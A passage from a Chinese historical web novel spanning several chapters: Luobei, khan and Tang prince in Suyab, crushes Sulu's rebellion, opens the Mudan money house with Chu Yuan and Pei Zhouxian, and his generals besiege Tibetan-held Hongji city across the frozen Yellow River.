苏禄一时没有说话,整个大帐之中只留下两人的呼吸声和灯火的燃烧声,直到帐外远远地传来几声飞鸟的啼叫,才算打破了一点沉默。 “原来大汗都已经知道了。”到了这个地步,苏禄的姿态也放开了些,他向后一靠,支起一只手臂,“弹劾你和阙特勤过从甚密,以至于徇私纵放他回于都斤山,恐有叛国之嫌的是我。” “至于吐蕃人和大食人……我倒没有和他们做长久生意的打算。但为自己找到合适的靠山和敌人不是你们汉人的必修课么,有句话叫做……叫做什么来着。” 洛北微微皱眉,似乎是觉得他这样的表现很不寻常:“养寇自重。” “是,养寇自重。”苏禄点了点头,“呼罗珊对我这样的人来说是个荒僻的地方,但荒僻也有好处。我花了很多时间来研究你们汉人的书本和文字……谢谢你的碎叶文馆,他们出了不少有趣的著作。” “苏禄将军,做傻事之前要想清楚,你我现在只有一桌之隔。”洛北微微前倾,一双金棕色的眼眸紧紧地盯着他,“就算你打算刺王杀驾,也要看看我们谁出手更快。” “阿史那乌特,有时候你这幅胸有成竹的模样真是让人心生厌恶。”苏禄霍然暴起,双手用力一举,用桌板挡住了洛北刺过来的匕首,“难道整个天下只有你一个人会打仗吗?!” 文稿和密信被帐外吹来的冷风吹得四散飘舞,片刻之间,大帐外已经冲进来一队蒙面黑衣的弩手,明晃晃的箭头正对着洛北的方向。 “你打算谋反?”洛北质问道。 苏禄站在弩手们之中,像是听到什么天大的笑话似的笑了一阵,几乎直不起来腰:“到了这个地步,你还觉得有回转的余地吗?” “你刻意屏退左右,在大帐中独自与我谈话,为的是示人以诚。”苏禄得意洋洋地说,“你不在数日的大会上发难,不在拜山之前发难,为的是稳住黑姓突骑施部的人心。你妄想通过杀了我来解决一切问题……” 苏禄的脸色在灯火下显得愈发阴沉:“可那是痴心妄想!放箭!” 他猛然挥手,却无人应答,一只只弩箭还是好好地停留在弓弩之上。他越发烦躁地大吼起来: “你们都聋了不成!放箭!杀了阿史那乌特,我来做新任的大汗!” 洛北轻轻击掌,王训和骨力裴罗从外面走进来,一左一右地撩开帘幕,十四姓部族的长老和首领鱼贯而入,最后走进大帐的是哥舒亶和阙特勤,两人均浑身浴血。 哥舒亶抱拳道:“大汗,黑姓突骑施部叛乱已定,其中有俘虏三十二人已在帐外,请大汗示下。” “杀。”洛北斩钉截铁地道。 哥舒亶抱拳领命而去,片刻之后,帐外传来一连串的倒地之声,鲜血飞溅,几乎染红了半边大帐外挂的毡毯。 帐中的一片死寂,同样出身突骑施的黄姓突骑施首领莫贺达干已经浑身发抖,他在此之前也收到了苏禄的来信,当时他并未立刻表态,想着等事态发展起来再看看。谁能想到洛北这位久离草原的大汗不出手则已,一出手立刻就翻转了局势。 “我给你提个醒,苏禄将军。”洛北温声开口,“下回再演这种‘埋伏刀斧手于帐后’的把戏时,看清楚你的刀斧手是不是被人调了包。” 阙特勤得他眼神示意,微微一笑:“步利将军,辛苦了,撤下来吧。” 一众弩手皆收起了弓弩,离得最远的那个青年一把扯下面巾,此人不是阙特勤的亲兵首领步利又是谁? 苏禄这才意识到自己陷入了一盘巨大的棋局之中,他睁大眼睛望着众人:“你们……” “大汗早知你有异动,召我们相问时,我们都不敢相信……”琪琪格瞪着他,“我们甚至在大汗面前为你作保!” “你是疯了不成?大汗交给你呼罗珊的赋税和粮草,给你统治的权柄,把你扶上首领的位置……教你一切首领应学的东西。”朱邪烈也忍不住骂道,“你为什么一直不知感恩?!” “感恩?!”苏禄冷笑一声,“如果没有他分治两姓,我如今已经做到了突骑施首领的位置!” 他话音不落,已经从腰间抽出一把镶金匕首。刀柄暗格弹开的刹那,王训的箭矢已穿透他右腕——藏着毒粉的机关匣滚落在地,被莫潘用鞋底碾成齑粉。 洛北把那把苏禄的家传匕首丢了过去:“你请罪自裁,我可保黑姓突骑施妇孺继续在呼罗珊安居乐业。或者……” 洛北站起身,扫了一眼帐中的一众部族首领:“我让你回去备战三日,我们战场上决胜负。如果你赌输了,我就按照草原上的规矩处决掉所有黑姓突骑施部的男人。” 苏禄不可置信地看着他:“你……” “祖先山神在此,十四姓部族的首领和长老同证。”洛北沉声道,“我说到做到。” 苏禄垂头不语,洛北轻轻挥手,叫人把他押了出去,十四姓部族的首领和长老们随之散去。 天色微亮时,哥舒亶监完刑回来复命。他发现洛北正坐在一片阴影里,望着一点光亮发愣。 “大汗……”即使在鸣沙城中,历经酷吏折磨、外放边疆的洛北也没有他今夜看起来疲惫。哥舒亶犹豫地喊了他一声:“苏禄他……” “自裁了?”洛北站起身,又重新恢复了那种无悲无喜的模样。 哥舒亶双手奉给他一封血书:“是,尸首已在帐外,我们还搜出来一封血书,是他的认罪血书。” 洛北应了一声,接过血书放在桌上。他快步走出大帐,看了一眼苏禄的尸首,又缓步走向了山坡之上。 晨光中,洛北撕碎那几封吐蕃密信。纸屑随风飘向雪山之巅,那里隐约传来初金雕鸣叫。 当日光落在落在苏禄逐渐冰冷的眼皮上,千里之外的木鹿城里,黑姓突骑施族人们正升起炊烟,浑然不知昨夜他们与灭族之祸擦肩而过。 “乌特。”阙特勤走上来寻他,正看到他站在那里望着一轮旭日东升,“金山大会就要开始了。” 第228章 “有点像节帅把商队的钱袋子装进了自己的口袋。” 辰时初刻的碎叶城笼罩在一片靛蓝的薄雾中, 城门之外,成群结队的商队正在排队入城,一匹匹骆驼缓缓步入城门之中, 它们颈部垂挂的铃铛惊起了一片尚在沉睡之中的飞鸟。 “小心避让!”“小心避让!” 率先打马过来清道的是两个身着银甲的英俊少年——王训和骨力裴罗俱在金山大会的赛事里取得名次, 顺理成章地进入洛北的亲卫之中任职。 头一天训练的时候,骨力裴罗就带着两个回纥部的青年把王训堵在了路上,王训也不惯着他们,当即就和他们打作一团。 最后还是暂代洛北卫队长职务的阙特勤亲自过来把他们分开:“你们俩在胡闹什么!” 阙特勤扬鞭抽断路旁胡杨枝,树皮炸裂声惊得两拨人都松了手。 "唐人小子细胳膊细腿, 也配给大汗扛旗?"骨力裴罗抹着鼻血冷笑,腰间镶绿松石的蹀躞带在晨光里掉成一片刺目的青。王训反手擦去颧骨上的血痕,突然抓起对方掉落的鎏金短刀—— 这下连洛北都惊动了, 他抽出马鞭,打算出手截断两人。王训已经把短刀收入鞘中,丢给了骨力裴罗:“凭你的功夫, 也配给伯克当亲卫吗?” 这剑拔弩张的僵局在三日后雪崩时骤然翻转。 彼时他们正护卫洛北巡视金山附近几处山中的定居点, 和往常一样,洛北轻装简行,只带了五六个侍卫前行。 他们说笑之间,突遭山阴处窜出的马队突袭。骨力裴罗的坐骑被绊马索撂倒瞬间, 王训竟纵身扑来用唐制圆盾替他挡下两枝鸣镝。飞旋的箭簇在盾面刮出火星,映亮少年们惊愕交错的瞳孔。 "接着!"骨力裴罗从皮囊扯出回纥角弓抛去, 王训凌空接住的刹那已挽弓如月。三支雕翎箭接连穿透来人高举的铜壶盔,正是他近日苦练的"流星赶月"绝技。溃逃的匪徒背后,山上积雪恰在此刻崩塌, 轰鸣如三千面羯鼓齐震。 当夜宿营时,王训默默将修补好的蹀躞带扔进骨力裴罗帐中。带扣上新嵌的昆仑玉闪着幽光, 正是他母亲临终留给他的及冠礼。 "我们汉人有句话,叫不打不相识。"少年故意用生硬的突厥话说道。 帐外忽传来阙特勤豪迈的笑声:"好小子!这玉抵得过十匹大宛马!" 洛北对他的卫队里的这些事情大部分时候都是冷眼旁观,只在事态超出“小孩子打闹”之前出手。不过王训和骨力裴罗似乎是个意外之数——之后他经常安排王训和骨力裴罗结伴执行任务。 两人没花许多时间就让那些慢腾腾的骆驼和驮着货物的骏马避退两边,还未叫商人们低头下拜,鼓角声已经自西北方向次第传来。 十二面五方旗率先刺破晨雾,执旗武士皆着明光铠,肩头金线绣的狻猊在风中怒张须发。 三叠羯鼓破空,八列持戟军士踏着《秦王破阵乐》的节拍分列道旁,青石板上震起细碎沙尘。 "郡王建节!"城门郎的唱报声里,那杆象征碛西权柄的九旒皂纛已临城下,紧随其后的是象征着西突厥十姓可汗的狼头大纛。 洛北策马行在旌节之后,紫袍玉带间悬着的金鱼袋里装着大唐郡王的龟钮银印和西突厥可汗的狼头金印。道旁的汉人俱长揖到地,胡人们则将掌心贴在胸口躬身,乐工们急转《伊州》大曲,琵琶急弦恰似碎叶川奔腾的雪水。 城门洞内忽有乐舞之声,原是十六名青衿学子执礼而立,他们正诵读《小戎》第三段。 王翰喜气洋洋地捧着一只鎏金螭纹的铜匣走到洛北马前,匣中端卧着新刊的《碎叶论语注》:"请郡王为碛西开文运。"——他已蒙皇帝亲笔点为秘书郎兼碎叶博士,一腔文才终是得到了认可。 洛北抽出陨铁唐刀轻点书匣,锋刃在"有朋自远方来"处映出一道寒光。 仪仗行至瓮城拐角,褚沅出现在道左,浅绯襦衫下方。缠枝纹银带钩压着鸦青色的交窬裙,她手中捧着的正是象征北庭大政权柄的青玉螭钮印匣。 "阿兄的紫绶歪了。"她借着递漆匣的当口低语,指尖不着痕迹地扶正兄长腰间蹀躞带。洛北瞥见漆匣底层半露的素笺——那是用掌书记私印封着的碛西盐铁密报,妹妹袖口还沾着昨夜批复公文的松烟墨痕。 他微微一笑,还未来得及说话,围观的粟特少女已将新摘的石榴花抛向马前,殷红花瓣落在玄甲之上,竟似溅在兜鍪的残血。 碎叶城的鼓楼次第应和,当晨光终于刺透靛蓝雾气,节度使的豹尾枪已高悬在都护府门前的朱漆戟架上。 这日都护府的最后一个客人是安西大都护府的长史裴伷先。白日里他穿着一身百姓的素服,在人群之中狂舞高歌,俯身道礼。但当都护府前的宫灯被点亮时,他已经换了身紫貂大氅,身后跟着一长队的押送人马。 “你和我还来这些客套。”洛北与他在书房相对而坐,身后是裴伷先带来的四只大木箱,“若不是你和吴钩提醒我有问题,我怕是怎么也想不到苏禄和郭虔瓘会有来往。” 裴伷先摇了摇头:“人心不足蛇吞象,公子何必为这样的事情自苦?我听说,草原上的定居点已经扩大到上百个?” 洛北颔首,这是他自主政西域以来就大力推行的定居与游牧结合的政策——保持牧民们逐水草而居的习惯,在特定季节时让牧民们居住固定房屋并形成聚居点。在这样的聚居点里,就能有学校、医馆等地方的存在。 “是,最大的还是碧水城。回来碎叶之前,我率轻骑去那边看了看。巴彦已经在城郊开垦了不少荒地用于屯田,人口稠密,不输西域的一些大城。”洛北像是想起什么似的:“你应当没再从府库中调银两去了?” 裴伷先哈哈大笑:“我就知道公子要问这个。”他起身打开一只木箱,里面是贴着安西大都护府火漆的账册:"账册都在这里了。我可是与虞国夫人一道对了小半个月。不过除此之外,我还有一件事情要和公子说。” 褚沅被近侍叫来时,裴伷先已经展开一幅碛西大舆图:“前几年公子与我提起,往来丝路的商队携带金银丝绢太多,不利于商队行走,反而容易引起劫掠。我和虞国夫人想了好几个月,才想出来这个办法。” 他用朱笔勾连出商路和沿着驿道星罗棋布的钱庄分号:“我与虞国夫人一道设立了这个牡丹钱庄,西到木鹿城,东到敦煌都有分号。商队只要凭着票券——哦,现在他们都叫它‘牡丹票券’,就可以在任意分号兑换出等值金银。” 洛北接过一张票券,烛光闪耀,照得光影里浮现出纸券上隐绘的牡丹纹样。 “这是我们仿照军中传信符制,找龟兹画师设计的十色套印花纹。”褚沅温声解释:“这押花是配合着密码使用的,排列顺序自有规则,哪怕是再天才的匠人也仿照不来。” 洛北沉吟片刻:“但凡钱庄,最怕挤兑。你们开设如此之多的分号,倘若一地遇到挤兑,可以找人调度。要是多地的多个钱庄都被人挤兑碛西地广人稀,只怕金银调度不及时,会出乱子。” “这一点将军说的是。”褚沅从箱中拎出一只铜匣:“我们会在钱庄地窖内存有三倍流通量的波斯银饼,如若遇到挤兑”她话未说完,洛北已用佩刀挑开了铜匣的暗层——底层是几只用于紧急熔铸的模具。 “倒是难为你们想得周到。”洛北轻轻一笑,放下佩刀,“钱庄的主事还要着意挑选过手这样庞大的金银,叫人不动心也难啊。” 褚沅望着他,目光明亮:“这也是我和裴公都想请公子示下的。这个位置职同州府银曹,可谓是掌管命脉的大吏了。可否将此职隶属公子幕中。这样一来,此职便属于府衙官吏。” 洛北看着褚沅,不由得轻轻笑了。他知道褚沅最理想的状态是让此职务如银曹一般隶属朝廷,由朝廷拔擢精通财政与律法的能吏来任职。但此事谈何容易?她只能退而求其次,让幕府的流外官来任职。 “我倒是不反对以官吏出任此职。但以幕府官来出任此职……”洛北抬头看了她一眼,“有点像节帅把商队的钱袋子装进了自己的口袋。” 裴伷先笑道:“我知道公子的性子,摊上您这样的主帅,便从自己口袋往外拿的,没有往自己口袋装的钱。” 洛北架不住他突然来了这么一句,脑子没反应过来的时候,反驳的话已经脱口而出:“自然不是说我!” “那不如先让此事运作起来。”裴伷先道,“反正陛下已经许了您永镇碛西,咱们不如让虞国夫人代掌此职。” 洛北挑眉看了他一眼:“怎么,伷先不愿替我贴钱了?” “裴家也有商队商号,所以我不可参与其中。”裴伷先笑道,“我的理由同公子一样,不是信不过自己,而是信不过后人。” “既然如此,便如伷先所请吧。”洛北微微颔首,“沅儿回头记得交个章程和规则上来。若无律法约束,只怕总有人会越线为所欲为。” 褚沅早有准备,听他一说,立刻从背后把一叠文稿递到了他桌上:“请将军审阅,如何?” 第229章 “此头一开,就怕我手下的那些军人也有样学样,兴起军队行商之风——后果不堪设想。” 数日之后, 碎叶城中的市场里锣鼓喧天,一连串鞭炮声后,褚沅同毕姮姬一道拉下了牡丹钱庄牌匾上的红布。鼓乐齐鸣之间, 早已等不及的各色商人终于涌入了这家高楼。 牡丹钱庄已经在安西都护试行数年, 碎叶城中却还是第一家,又有商会首领毕姮姬同幕府掌书记褚沅一道坐镇,自然各大商队都趋之若鹜,天一亮,外头就被人给挤满了。 “公子怎么想到要商会也出钱占股份的?” 二楼之上, 裴伷先同洛北碰了杯,他们都穿着轻薄的棉袍,看上去便像是寻常的过路客商。 裴伷先将杯中酒一饮而尽, 回头望向洛北时,他正靠在栏杆上看着下面熙熙攘攘的人群: “这就好比行军打仗。”洛北只抿了一口酒水,“但凡军中有多个山头搅和不定, 主帅就不可能一言而决。” 裴伷先接过酒壶又给自己倒了一杯, 冰过的三勒浆在夏暮时节带来一点难得的凉意: “可在牡丹钱庄上需要的就是这个‘稳’字。大家伙儿一同决策,互相掣肘,便能避免一个人把钱都装进口袋里。只是,可惜了。” “可惜什么?”洛北转头看他。 “可惜本来能从上头赚到不少利润, 现在为了求‘稳’,把这些钱都弃了去。”裴伷先将杯中酒一饮而尽:“饶就是我这样家财万贯的人, 也羡慕不来公子的大方哟。” 他也向楼下望去。有三个衣袍上绣着回纹锦的商队头领挤在钱庄柜台前,举着牡丹票券比划着兑付。柜台后的两个伙计立刻拨动算盘,又有两个书令勾画青册, 将这开门的第一笔交易登记在账簿上。 当柜的是个年轻的女郎,把一头长发都盘在头上, 挽起的袖子上还有碎叶文馆的标记。她以汉话唱过一遍账目:“二百张乙等券共折黄金二十两!客官莫忘了小店的一厘利息。” “赚大钱的人,谁在乎那几厘的利息!”那为首的首领一敲桌子,“快把银钱称了来。” 当柜的女郎颔首,小心地用秤分出对应的金银,往柜台上一放。那首领正要拿取,却被她伸手一挡:“客官,画了印再拿。” 二楼阑干旁,裴伷先轻轻拉了拉洛北的衣袖:"瞧那吐蕃老汉,原是逻些城放印子钱的好手,一向和吐蕃王家过从甚密,怎么给他混到这里来了?" 洛北顺着望去,见另外一面的柜台掌柜正在烛光之下校验券面暗纹,突骑施牧人捧上的整袋金砂在他天平上晃出流霞,那吐蕃人排在队伍最末,正在四处张望。 说话之间,门外又乱了起来,一阵嘈杂声间,一队持着横刀的汉人护卫冲了出去,洛北正要下楼查看情况,褚沅却已经率先跟在众人之后冲了出去,他便顿住步子,又靠回了栏杆上。 金铁交鸣声中,两柄弯刀已架在突骑施人的牛角弓上。方才还捧着金砂的牧人此刻双目赤红,羊皮袍子被吐蕃人的匕首划开三道裂口。街市青砖上散落着扯断的珊瑚珠串。 “开门做生意,容不得血溅五步的事情。”褚沅的声音像一匹素帛撕开凝滞的空气。她提着月白襦裙踏过满地狼藉,簪头垂落的珍珠在耳畔纹丝不动。几个护卫立刻收刀入鞘,只有两个人依旧抓着缠斗的商人,怕他们再闹事。 褚沅扫了一眼两人,见他们脸上都是愤怒神色,只是轻轻一笑:“两位莫急。我知道两位前些日子在丝路南道上为了驼队的事情起了争执,到了碎叶,有的是好驼队,何必着急。” 吐蕃老者闻言一惊,镶着绿松石的匕首当啷坠地。围观人群中几个粟特商人立即低头接耳起来,此事发生在十日之前,丝路上也不是尽人皆知,褚沅安坐在碎叶城内,竟能对此事了如指掌——可见她对丝路掌控之深。 “商路如流水,堵不疏。”褚沅从袖中抖出一卷洒金纸,"我知道有二十峰熟悉商路的骆驼,原定是要三日后发往疏勒,如今事态变化,这笔单子取消了,我愿意请姮姬出面替两位协调了来。” 她将文书撕成两半,声音惊得檐角鸽子扑棱棱飞起。 突骑施人最先松开弓弦。吐蕃老者拾起匕首在掌心转了三圈,突然大笑:"久闻虞国夫人大名,如今一见,名不虚传。" 他躬身道礼,连地上的珊瑚珠也弃之不要,转身而走。 那突骑施牧人低头向她道礼,又随她一道回到钱庄中,找毕姮姬谈论那驼队的事情去了。 洛北听着外头声音安静下来,才将杯中酒一口饮尽。 裴伷先望着他笑:“公子这样担心,为什么不亲自出面解决此事?碎叶城,不,整个碛西,只要公子出现,还有解决不了的事情么?” 洛北知道他在笑自己,开口解释道:“其一是,我信任褚沅能解决此事。其二么?我不仅是坐镇碛西的碎叶郡王,也统领着碛西军队。我若出面,必是以威势压人。此头一开,就怕我手下的那些军人也有样学样,兴起军队行商之风——后果不堪设想。” 裴伷先摸了摸下颌的胡须:“此事有这样严重?公子和大食宰相哈贾吉签订的盟约之中,不是还有保护商队安全这一项么?我正想请公子同我一道商议军队护送商队的章程。” “护送商队的卫队应当去找各部首领要。他们的武士多年穿梭在丝路之上,谙熟地形,也熟悉敌人。再不济,还可以寻找镖局么?”洛北摇了摇头:“至于我的军队” 他似乎看到什么,忽而顿住话头,探头自二楼向下喊了一声:“波善活!” 钱庄角落里的那个牧人本抱着一块馕饼在啃,听见这声音才抬起头来。见到洛北凭栏而笑,脸上也露出惊讶神色,连馕饼都掉在地上。直到一边的客商提醒他,他才抹了抹脸,快步登上栏杆来,低身向洛北道礼: “伯克!” 裴伷先打量着他的大眼睛和高鼻梁,心里正为此人的来处犯嘀咕,洛北已经把波善活扶了起来:“不必多礼。伷先,这是波斯王子,阿罗憾的血亲波善活。” 裴伷先与他互相道礼,又上下打量他一番,实在没能把这个牧人同“波斯王子”这个身份对照起来。莫说是什么曾经领受“万王之王”称号的皇族后裔,眼前这个青年看起来比那些粟特、波斯的商人还要朴素得多。 波善活似是看出他的想法,微微笑道:“裴公是不是觉得我看起来不像王子?”他的汉话也说得颇为流畅,倒让裴伷先闹了个大红脸。 “我是奉伯克之命,在我的子民之中生活、学习。”他笑着解释道:“这几年,我放过牧,给种田的农民扛过一年铁锹,在木鹿城的作坊里学过手艺,如今是跟着商人来碎叶城做买卖。久闻裴公大名,我还有些账目上的事情要向您请教呢。” 裴伷先看着他诚恳模样,实在有些无地自容,只得推脱要下去看看情况,从洛北身侧溜走。 波善活不解其意,还问洛北:“伯克,裴公这是” “我倒没想到你做了这么多事。”洛北轻巧地岔开话题:“可有什么收获?” 这一问把波善活问住了,他想了又想,才轻轻摇了摇头:“实话说,没什么收获学的这些手艺、账目、放牧的事情,日后也未必用得上。若说真有一点收获,那便是——百姓太苦了。” 洛北微微颔首:“说得详细些?” “从前我总觉得自己是天生贵胄,就算跟在叶护身边,也颇有些自命不凡。等到真的到草原上迎击冬风霜雪,才知道老百姓就连活命也不是容易的事情啊。” 波善活挠了挠头: “我刚开始放牧的冬天,正赶上羊群下崽。我通宵地站在圈里,等着母羊生了小羊,再把小羊一只只地抱进暖房里,要不然,冬天就会把它们给冻死。我干这个活的第一个晚上,我就想着,要不给您写封信,我宁可不要这个身份,也不吃这样的苦了。” 他说着,似乎是有些不好意思地低头一笑:“可第二天,和我合牧的那家儿子特地给我煮了热乎乎的面条,说要不是我,今年冬天他得累死。我便又觉得,自己好像做了些事情。” “这样的活我也干过。”洛北拍了拍他的肩膀,“那会子战乱不断,连冬窝子都不敢挖深,冷风一吹,就在耳边呼啦啦地响。” “哦?公子也干过么?”波善活好奇地望着他:“那我可不敢在公子面前抱怨辛苦了。” 洛北轻轻一笑:“以己身之苦,念及万民之苦,我看你这几年在呼罗珊确实是大有长进。这样吧,你也不要急着跟商队回去,留在碎叶文馆,跟着我的新卫队和亲军念一个季度的书再走。” “念书?我这汉话不是已经学得很好了吗?”波善活不解道:“我在碎叶城做工的时候,可是天天晚上挑灯夜战。” “不是叫你学汉话,是叫你认认人。”洛北道:“日后若有战事,他们当中的大部分人都要与你并肩作战。如果你不熟悉他们的性格和习惯,又如何和他们配合得当?而且,我也需要你帮我一个忙。” 他说这话时,脸上露出了一点自他登临大汗之位之后就少有的狡黠神色。波善活也会心一笑:“但请伯克吩咐!” “教教这群皮猴子我的规矩。”洛北道。 “将军怎么又说起规矩的事情来了。”褚沅带着毕姮姬登上阶梯,两人各自俯身向洛北道了个万福。 洛北向下看了一眼,楼阁之中已经点起了灯火,钱庄大门已关,唯有数个帐房还在清点物品和账目。 “原来我已经叨扰这么久了。”洛北摆手示意她们不必多礼:“两位是来请我离开的?” “不,姮姬是来向将军道礼的。”毕姮姬慌忙开口,“大食将军屈底波是杀我全家的仇人,将军能诛杀屈底波,便是替我复仇的大恩人。请受姮姬一拜!” 洛北站在原地,等她一拜而起,才双手将她扶起:“此乃我职分应为,你不必多礼。” “不,将军此等大恩,姮姬无以为报,愿以己身所能报与将军。”她将一枚镀金的铜钥匙奉到洛北手上,“此乃我布坊库房钥匙,此后一应账目,我不对虞国夫人藏私。若将军有要用之处,我愿毁家纾难,以助将军。” 洛北本不愿收,与她推让一番,才以收下钥匙为代价,把这能干的粟特女郎给哄走了。他叫波善活护送毕姮姬下楼,才对褚沅道: “沅儿也不替我拦着点……” “阿兄,怪我,我实在是没拦住。”褚沅看着他笑,“人人都说这把钥匙里至少有一城之富,阿兄怎么那么为难?” “我只有一个人,要这么多钱做什么?”洛北把钥匙递给她:“你替我收着吧,若是有要用之处,再同我说。” 褚沅轻轻叹息一声:“或许马上就有可用之处了。长安城里的消息,解公与吐蕃使团谈判破裂,只怕前线……” 第230章 “本月之内,速取洪济城。” 黄河蜿蜒, 冰面在朔风中裂开蛛网般的纹路,身后日月山嶙峋的山脊像一柄倒插的断刃,割裂了灰蒙蒙的天穹。 积雪覆盖的一片荒原之上, 数十面唐军赤色旌旗已经被冻成僵硬的布帛。 自长安谈判破裂之日起, 大唐数万大军在这片苦寒之地已鏖战了十五个日夜,连营炊烟刚升起就被狂风撕碎,像无数折翼的灰鹤坠落在铁甲寒光里。 葱岭杏花开放之时,青海前线依旧是一片萧索的寒。慕容曦光撩开帐门,走出营帐, 雪花伴着狂风一道打在他的铁甲上,几乎吹得他走不动路。 他伸手抹去眉睫间的冰霜,望见哥舒翰正策马踏碎冰层而来, 猩红大氅在雪幕中猎猎翻卷,宛如一团不肯熄灭的烽火。 “连鹞鹰都冻得缩了爪子。”慕容曦光将铜胎鎏金手炉推给来客,帐内的炭火映出他眼底的一点焦虑, “洪济城头的吐蕃大纛倒是精神得很。” 哥舒翰卸下结冰的兜鍪, 端起酒盏灌了一口:“当初就应该用我的计策,趁着夜色奇袭洪济城,也不至于到了今天我们还在黄河北岸长吁短叹。” 慕容曦光抬眸瞪了他一眼:“十五天前那样滴水成冰的温度,夜袭恐怕不太明智吧?哎, 你!领兵打仗的人,少喝酒。” “哎, 按照我叔叔的说法,这是我们的性格。”哥舒翰笑了,“想要叫我们不喝酒, 除非有郡王的军令。” “大哥哥的军令是我们要在本月内攻克洪济城。”慕容曦光取过烛火,照亮了帐中挂着的一副舆图, “想想办法,该怎么办?” 两个月之前,大唐与吐蕃在长安的谈判再度破裂,负责谈判的左散骑常侍解琬甚至给朝廷写了篇长篇累牍的奏疏,大骂吐蕃人狼子野心不可回转,要朝廷早日屯兵待战。 解琬游走边塞多年,一连参与突厥、吐蕃、突骑施等国的数次谈判,唯有这次风度尽失,可见吐蕃人是何等狮子大开口。 李重俊与一众宰相斟酌再三,最终诏命河西、碛西等地多处屯军备战,主帅的名字在朝中争执了数日,最终还是姚崇以“年长稳重”为理由,任命了原安西大都护薛讷为鄯州都督,总领此战军事。又命凉州都督郭知运和阴山安乐王慕容宣彻、燕王慕容曦光为副,命碛西镇守使、碎叶郡王洛北从旁佐之。 “姚相公打压大哥哥的心思也太明显了些。”一到青海前线,慕容曦光就忍不住和自己的叔叔抱怨:“这个‘佐’字一加,就是说论功行赏的时候轮不到他,一旦打了败仗,朝廷就要找他算账。” “要是洛将军真想要计较这些,就不会不计前嫌地把郭虔瓘派来助阵了。”慕容宣彻摇了摇头,“论格局,你还得和他再学学才是。” 话虽这样说,他心里却忍不住嘀咕: 姚相公也是当过灵武道大使的人,怎么把行军打仗想得如此简单。虽说军法森严,军令一下,众军莫敢不从,但决定战争胜负的从来是人——洛北功高,薛讷年长,他把这两位放在一起,不怕军中起内讧? 好在这几年唐军东征西讨,算是重树了太宗时代的赫赫威名,吐蕃军队一时不敢大举进攻,只日夜增兵前线,隔着黄河九曲与唐军对峙。 如此月余一过,长安和逻些城都等不下去了。两位君主均是年少登基,都想抓住这次机会为自己树立威望。李重俊甚至把手书寄到了碎叶城里,要求洛北“为国立威”。 彼时春花初开,洛北正在地头同屯田的士兵一道劳作。他接过皇帝诏命,脸上难得起了难色:“陛下要我率军出征,为国立威,可我一无主帅之任命,二无粮草后援,我能怎么办?” 使节看着他,也是一脸难色:“小人只是奉命传话,郡王何必为难小人。” 洛北静默不言,俯首谢恩之后,提笔写信给前线的慕容曦光和哥舒翰—— “本月之内,速取洪济城。” 洪济城在黄河南岸,正是当年解琬、洛北与吐蕃人划下的边界之后由吐蕃人所修筑的。 此城依照地势修建,夯土垒筑,极为易守难攻。慕容曦光和哥舒翰奔袭到此,围攻数日都不曾攻下,只得隔河扎营,与其遥遥相望。 慕容宣彻的指尖划过舆图上的黄河九曲,羊皮卷上凝结的冰晶簌簌而落。“吐蕃人在洪济城囤了三年粮草,分明是要和我们耗到地老天荒。”他忽然用刀柄敲了敲沙盘,“你看这城墙走势——” 木制的城寨模型在烛火泛着光,哥舒翰凑近细看,倒吸一口冷气:“吐蕃人把城墙修成了锯齿状?” “正是。”慕容曦光解下腰间银鱼符压在沙盘边缘,“每处凸起都藏着投石索。我们的兵马没到城墙之前就会遭到袭击。前日折损的三百儿郎,多半是折在这里。” 对于大唐将领们来说,吐蕃人的骑射比他们的突厥对手要差得多,只有重步兵称得上是雄冠一方。但最令他们头疼的还是吐蕃人手中的投石索。 投石索吐蕃传说称为是神王的武器,相传松赞干布就曾经用投石索击败敌人,用长矛刺死牦牛,因而不少吐蕃战士苦练这项技艺,给唐军的骑兵造成了不少麻烦。 帐外忽然传来战马嘶鸣,哥舒翰掀开毛毡,见三匹驿马踏着碎冰疾驰而来。当先的驿卒滚鞍下马,怀中油布裹着的军报已结满冰碴:“碎叶城急件!郡王说吐蕃赞普派了达扎恭禄增援,五日前已出逻些城!” 慕容宣彻猛地起身,腰间玉带险些撞翻了铜灯台:“吐蕃人好快的手脚!还有,为什么没有人向我们报告!难道长安城想看我们成吐蕃人的瓮中之鳖?” “现在骂街有什么用?”哥舒翰摇了摇头,“看起来,洛将军定的月内是有道理的。一旦拖过此日期,到时候我们前有坚城,后有追兵——” 话音未落,帐外突然响起鼓角声。慕容曦光箭步冲出,只见对岸城头竖起数十面吐蕃大旗,吐蕃守军正往冰面倾倒黑糊糊的液体。刺鼻的硫磺味随风飘来,他瞳孔骤缩:“是火油!快传令后军撤出营帐!” 话音未落,一支火箭划破长空。黄河冰面轰然腾起十丈火墙,唐军前营顿时陷入火海。热浪裹着冰碴扑面而来,慕容曦光反手将哥舒翰按倒在雪堆后,眼睁睁看着存放粮草的毡帐化作冲天火炬。 “好狠的手段。”哥舒翰吐出嘴里的雪沫,白色里已经染上血色,他望着对岸狂笑的吐蕃守将目眦欲裂,“他们早算准了这几日要回暖!” 慕容曦光却盯着渐渐融化的冰面出神。火焰在浮冰间流淌,突然有几处冰层塌陷,燃烧的火油渗入裂缝,在河面形成诡异的蓝色漩涡。他猛地抓住哥舒翰的肩甲: “你记不记得长安西市那些波斯商人?他们运琉璃器时总要在箱底铺层湿沙。” “你是说”哥舒翰眼睛渐渐发亮,“冰层下还有活水?” 子夜时分,二十名唐军奉命潜入冰河。慕容曦光跪在冰窟旁,听着冰层下传来的闷响,掌心尽是冷汗。直到东方既白,为首的斥候终于破冰而出,冻紫的嘴唇哆嗦着吐出好消息:“有暗流,有暗流,可通洪济城水门!” “妙极!”哥舒翰扯下大氅裹住瑟瑟发抖的斥候,“我带人凿开冰面,顺着暗流摸进去烧了他们的粮仓!” “且慢。”慕容曦光蘸着酒水在案几上勾画,“吐蕃人每日破晓时会开启水门取水。我们不妨”他的手指在酒渍中划出蜿蜒的曲线,“让郭都督送来的那批火油派上用场。” “你的意思是,”哥舒翰望着他,脸上难得露出笑容,“声东击西?” “不错,只是这带头人的位置你要选好。若牵制不住吐蕃人的军队,咱们俩和这数万大军都得折在这里。”慕容曦光看着哥舒亶老神在在的笑:“怎么,你已经有人选了?” “有——你也见过的,李嗣业!”哥舒翰笑道。 这个人名一出,慕容曦光脑海里也闪过了一个身高七尺,力大无穷的青年。他本是京兆高陵人,因家贫才来投军,起初一直在郭知运麾下,近日才转到了碛西军中。他最擅使用长柄两刃的陌刀,挥舞起来,连轻甲骑兵也望而生畏。 慕容曦光点了点舆图:“我去找他谈一谈,若他愿意,我就让他去。” 